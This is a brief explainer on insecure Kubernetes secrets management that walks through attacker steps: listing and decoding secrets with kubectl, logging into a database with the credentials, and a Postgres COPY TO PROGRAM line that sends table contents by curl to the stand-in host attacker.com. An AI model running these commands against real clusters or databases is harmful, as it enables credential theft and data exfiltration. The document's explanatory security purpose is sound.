Insecure Secrets Management
Insecure secrets management in Kubernetes can lead to the exposure of sensitive data, such as API keys, database credentials, and certificates. Storing secrets in plaintext or using insecure backends increases the risk of unauthorized access by attackers.
Exploitation Steps: Accessing Insecurely Stored Secrets
An attacker can identify Kubernetes Secrets stored in plaintext using the following command:
kubectl get secrets -o yaml
1. Decode a Kubernetes Secret
The attacker extracts and decodes a Base64-encoded secret:
kubectl get secret db-secret -o go-template='{{.data.password|base64decode}}'
2. Access Sensitive Services Using Exposed Credentials
The attacker uses the decoded credentials to access a database:
psql -h <database-ip> -U admin -W
3. Exfiltrate Data from the Database
The attacker exports sensitive data from the database to an external server:
COPY (SELECT * FROM sensitive_data) TO PROGRAM 'curl -X POST -d @- http://attacker.com/upload';
Result
The attacker can access and exfiltrate sensitive data, potentially causing data breaches and regulatory compliance violations.
Mitigation
For guidance on how to prevent this attack vector, refer to the mitigation article: